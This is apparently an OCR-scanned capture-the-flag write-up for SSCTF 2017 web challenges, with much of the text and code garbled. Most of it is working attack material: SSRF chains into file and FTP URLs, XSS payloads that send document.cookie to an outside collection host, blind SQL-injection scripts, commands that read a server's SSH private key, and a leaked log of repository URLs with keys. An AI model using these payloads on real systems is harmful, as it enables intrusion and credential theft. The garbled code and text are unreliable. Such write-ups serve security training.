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1 3550 05-07 17:39:05
2 3350 05-07 20:49:27
3 2950 05-07 15:45:43
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web100 ssrtfid #£ http://120.132.21.19/ -> 10.23.173.190/news.php ->ftp://172.17.0.2

http://120.132.21.19/news.php?url=10.23.173.190/news.php?url=FTP://172.17.0.2/flag.txt
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Intercept | HTTP history | WebSockets history T Options ]

| Filter: Showing all items

# A|URL | Direction | Edited | Length | Comment | SSL | Time | Listener port |
335 http://117.34.71.7:30000/ Incoming a 71 J 10:19:5536.. 8080
336 http://117.34.71.7:30000/ Incoming a 16 a 10:19:546 ... 8080
337 http://117.34.71.7:30000/ Incoming a 169 a 10:19:58 6... 8080
338 http://117.34.71.7:30000/ Incoming a 27 J 10:19:5596.. 8080
339 http://117.34.71.7:30000/ Incoming a 52 (@] 10:20:006 ... 8080
340 http://117.34.71.7:30000/ Incoming a 170 (J 10:20:006.. 8080
341 http://117.34.71.7:30000/ Incoming a 16 a 10:20:006 ... 8080
342 http://117.34.71.7:30000/ Incoming a 170 (@] 10:20:006 ... 8080
343 http://117.34.71.7:30000/ Incoming a 21 (J 10:20:026.. 8080
344 http://117.34.71.7:30000/ Incoming a 170 (J 10:20:036.. 8080
345 http://117.34.71.7:30000/ Incoming a 17 (@] 10:20:046 ... 8080
346 http://117.34.71.7:30000/ Incoming a 170 (J 10:20:096.. 8080
347 http://117.34.71.7:30000/ Incoming a 27 a 10:20:096 ... 8080
348 http://117.34.71.7:30000/ Incoming @] 170 (@] 10:20:106 ... 8080
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Message
Welcome, 218.%%<img src="/static/images/welcome.gif  onload='"c= deURIComp t(d t.cookie);if(c.length>32){a=new Image();a.src='/xssHentai/request/l/?body= +c;} >

<img src="/static/images/welcome.gif" onload="c=encodeURIComponent(document.cookie);if(c.length>32){a=new I
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<img src="x" onerror=jQuery.getScript(String.fromCharCode(104,116,116,112,115,58,47,47,120,46,115,101,99,98

-IiE&  2017-05-06 « location : http://117.34.71.7/xssHentai
10:32:28 « toplocation : http://117.34.71.7/xssHent
a
« cookie : flag="ssctf{c0ddc394a375a0e8
c66e69c98daf719f}"
« opener:
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e HTTP_REFERER: http://117.34.71.7/xss  ffilf&
Hentai

e« HTTP_USER_AGENT : Mozilla/5.0 (Wind
ows NT 10.0; WOW64) AppleWebKit/53
7.36 (KHTML, like Gecko) Chrome/57.0.
2987.133 Safari/537.36

« REMOTE_ADDR : 1.85.222.200
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U BB web 1 R FILE B30t I 251 5 5 (/varwww/submit.php) 3B, - Fefili it 3RIEE A 2R EN . RG4S -
zip. EEIERER . B phpmyadmin.... # 2  1

<?php
header ("CONTENT-TYPE:text/html;charset=UTF-8");
define("HOST","127.0.0.1");
define("USERNAME", "root");
define("PASSWORD","");
$con=new mysqli(HOST,USERNAME,PASSWORD, "ctfl");
if(!'$con){
echo $con->error;
exit("aaaa");
}
if(!$con->select db("ctfli")){
echo $con->error;
}
if(!$con->query("SET NAMES utf8")){
echo $con->error;

$xss=$ POST["sub"];
$str = addslashes($xss);



class Action

{

function get_outer()

{
$url = 'http://www.ip138.com/ip2city.asp’;
$info = file_get_contents($url);
preg_match('|<center>(.*?)</center>|i', $info, $m);
return $m[1];

function get_inter()

{

$onlineip = '';

if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), ‘unknown')) {
$onlineip = getenv('HTTP_CLIENT_IP');

} elseif (getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), ‘'unknown')
$onlineip = getenv('HTTP_X_FORWARDED_FOR');

} elseif (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), ‘unknown')) {
$onlineip = getenv('REMOTE_ADDR');

} elseif (isset($_SERVER['REMOTE_ADDR']) &% $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOT
$onlineip = $_SERVER['REMOTE_ADDR'];

¥

return $onlineip;

$p = new Action();

$intip = $p->get_inter();

$outip2= $intip;

@mkdir("/tmp/ids",0777,true);

$sql="insert into ctfl(xss,ip,time,wai_ip) values('$str', '$intip',NOW(), '$outip2')";

if($str=$con->query($sql)){
echo "<script>alert('success');window.location.href="index.php'</script>";
$insertid = mysqli_insert_id($con);
file put_contents("/tmp/ids/".$insertid,"a");

}
else {

echo "<script>alert('fail');</script>";
?>
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def exp(n):
global data
for i in range(33,127):
#for ii in 'root':
#i = ord(ii)
flag = 1
url = "http://120.132.20.149/submit.php"
sql "select count(SCHEMA_NAME) from information_schema.SCHEMATA limit 1,1"
sql "select table_name from information_schema.TABLES where TABLE_SCHEMA=0x63746631 limit 0,1"
#sql = "select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=0x63746631 and TABLE_NA
#sql = "select user from mysql.user limit 4,1"
#sql = "select count(ip) from ctfi"
payload = "A'-(if(ord(mid((%s),%d,1))=%d,sleep(2),1))-"'" % (sql,n,i)
print payload
h = {
'X-Forwarded-For' : "A'",
'X-Forwarded' : "A'",
'Client-IP" : payload

r = requests.get(url,headers=h)

try:
res = requests.get(url,headers=h,timeout=2)
#print res.content

except:
print chr(i)
data[n] = chr(i)
print "Data %dth: %s" % (n,data[n])
flag = @
break

if flag:
exit()
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<script src=https://x.secbox.cn/tUJYC4></script>

e 2017-05-07 « location : http://127.0.0.1/admin/b9557e  « HTTP_REFERER : http://127.0.0.1/admi Ili53
10:28:47 e76eeb61cadda090855a47d266-1.php?i n/b9557ee76eebb1cadda090855a47d26
d=77938 6-1.php?id=77938
« toplocation : http://127.0.0.1/admin/b95 o HTTP_USER_AGENT : Mozilla/5.0 (Unkn
57ee76eeb61cadda090855a47d266-1.p own; Linux x86_64) AppleWebKit/538.1
hp?id=77938 (KHTML, like Gecko) PhantomJS/2.1.1 S
» cookie : afari/538.1

s oOpener: « REMOTE_ADDR: 120.132.20.149



b9557ee76eeb61cadda®90855a47d266-1. php

it flag
http://120.132.21.19/news.php?url=10.23.173.190/news.php?url=FILE:///var/www/admin/js.php
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WebHook(web500)

https://github.com/howmp/webhook
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http://webhook.ssctf.seclover.com:8000/webhooklog

2017-05-07 ©04:04:48 INFO recived push repo:1 with before

2017-05-07 04:05:13 INFO recived push repo:flag with before

2017-05-07 04:09:38 INFO recived push repo:flagt with before

nqgn

2017-05-07 ©4:12:19 INFO recived push repo:1 with before

141"

2017-05-07 @4:12:55 INFO recived push repo:1 with before

10 "1+1"

11 2017-05-07 04:13:27 INFO recived push repo:1 with before

12 e

13  2017-05-07 04:14:18 INFO recived push repo:1 with before

14  "{u'bystudent': {u'url': u'https://github.com/ByStudent666/bystudent.git’', u'pass': u'6848fb86b9c@balaaf74838875c24008'}, u'f3': {u'url':
u'https://github.com/tryup/f3.git', u'pass': u'24bf52f85e013da649150a5b196d867c"'}, u'flagys': {u'url': u'https://git.coding.net/test/flagys
.git', u'pass': u'bd2c480612b23f0d1a560d6874507920'}, u'ssctf2017': {u'url': u'https://github.com/ic3z/ssctf2017.git', u'pass':
u'70a9b5d17b7c6e718850bc4d181773bb'}, u'amdam': {u'url': u'https://github.com/amdam/amdam.git', u'pass’':
u'456adladda3fb1303ce58ce798a1089a'}, u'l': {u'url': u'https://github.com/howmp/1.git"', u'pass': u'd732d475d9173bb8be66157507342421'},
u'flag': {u'url': u'https://git.coding.net/1jgame/flag.git’', u'pass': u'd64536833fe79f17fb7f9%e@329ee7b47'}, u'flagt': {u'url': u'https
://github.com/jmainyby/flagt.git', u'pass': u'bd2c480612b23f0d1a560d6874507920'}, u'testdsadsa': {u'url': u'https://github.com/Ginnz
/testdsadsa.git', u'pass': u'6fb@b41led69908ae63a544aald77d67e'}, u'pocserver': {u'url': u'https://github.com/Xyntax/pocserver.git', u'pass’':
u'2194d730f3289f84e332e838a8b3bc58'}, u'wifitest': {u'url': u'https://github.com/hanc@@l/wifitest.git', u'pass’:
u'bd2c480612b23f0d1a560d6874507920"'}, u'test': {u'url': u'https://github.com/burnegg/test.git', u'pass’':
u'83c56ecd7cb246f6e4f37f3ffc3c618b'}, u'2': {u'url': u'https://github.com/howmp/2.git', u'pass': u'24bf52f85e013da649150a5b196d867c'},
u'hehe': {u'url': u'https://github.com/zhazhami/hehe.git', u'pass': u'blbale55528d767049e3dc@a8df260ca'}, u'flagy': {u'url': u'https://git
.coding.net/test/flagy.git', u'pass': u'B3eeeadadel47aa8b0e272b404caf027'}3}"

15 2017-05-07 04:20:19 INFO recived push repo:1 with before

16 1"
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http://webhook.ssctf.seclover.com:8000/addrepo?repo=t&key=05dec173a9b6862b26b05f2b4d0c521a&url=https://gi
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http://webhook.ssctf.seclover.com:8000/push
POSTHHf :
{
"repository":{
"name" : "t"

¥

"ref" : "refs/heads/master"
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args = ['zip', '-r',
os.path.join(outpath, str(int(time.time())) +
if os.path.isfile(os.path.join(basedir, 'build.json')):

".zip')]
b = json.loads(

open(os.path.join(basedir, 'build.json')).read())
for x in b.get('include', [basedir]):

args.append(x)

for x in b.get('exclude', []):
args.append("-x"
args.append(x)

p = subprocess.Popen(args, cwd=basedir)

TRT —F/var/waw/BREKARTE, HPE— MaglfhiH, Hidgit logh I — NERAEMEEER, BT
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webhook i, flagfEflagliHh, (H7EcommitE IEHIFlagiiit{s, webhook & HiMEE T
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cat /home/www-data/.ssh/id_rsa

cat /home/www-data/.ssh/id_rsa.pub

ssh -T git@git.coding.net -i id_rsa

git clone https://git.coding.net/ljgame/flag.git

XA gith BUMAT I H 92 3%,

fic & /root/.ssh/config
Host ljgame.git.coding.net
HostName git.coding.net
User git
IdentityFile /home/www-date/.ssh/id_rsa

ssh -T git@git.coding.net -i id_rsa

git clone git@ljgame.git.coding.net:1ljgame/flag.git
BRJa AL RE IR IX AN T H , kA5 flag.
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import requests

url = "http://60.191.205.80/picture.php?id="

#c = "0123456789abcedf"

#sql = "select(column_name)from(infoorrmation_schema.columns)where(table_name)="user'%0blimit%eb2,1"
sql = "select(passwoorrd)from(user)where(username)="admin""

f=0

out = ""

for i in range(1,200):
print i
f=0
for c in range(33,128):
payload = '@"||if(ascii(mid(('+sql+"'), '+str(i)+',1))="+str(c)+',1,0)||"a"
#print payload
res = requests.get(url+payload)
if "not found!" not in res.content:
print c
out = out + chr(c)
f=1
print out
break

if not f:
print "output:
exit()

+ out

print "output: + out

/3 admini) % % 4y 14aceb3fc5992cef3d97, KfEH20, —A#F 4 2Dede_CMS, Hi3)5 1845311647 % fifk %
133 % 15 Hyadmin’g.

P JERG G . index.php.swp, include.php.swp. DA B &1 s 7 51 Jssiflag e, A —Lefa s R, B
BRI LAERTT ./, FH A C k% dsechotti k1234, JPHMLFRF R R R A KERTINA+5 . &5 payload

GET /index.phpraction=imformation&secret=http://x.x.x.x/1.php HTTP/1.1

Host: 60.191.205.80

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Encoding: gzip, deflate, sdch

Accept-Language: zh-CN,zh;q=0.8

Cookie: PHPSESSID=ps3s1c2479tbi9ahmmmrj5ubd3; Tips=token+will+be+unserialize;token%3d0%3a%2b4%3a"Read"%3al%
Connection: close
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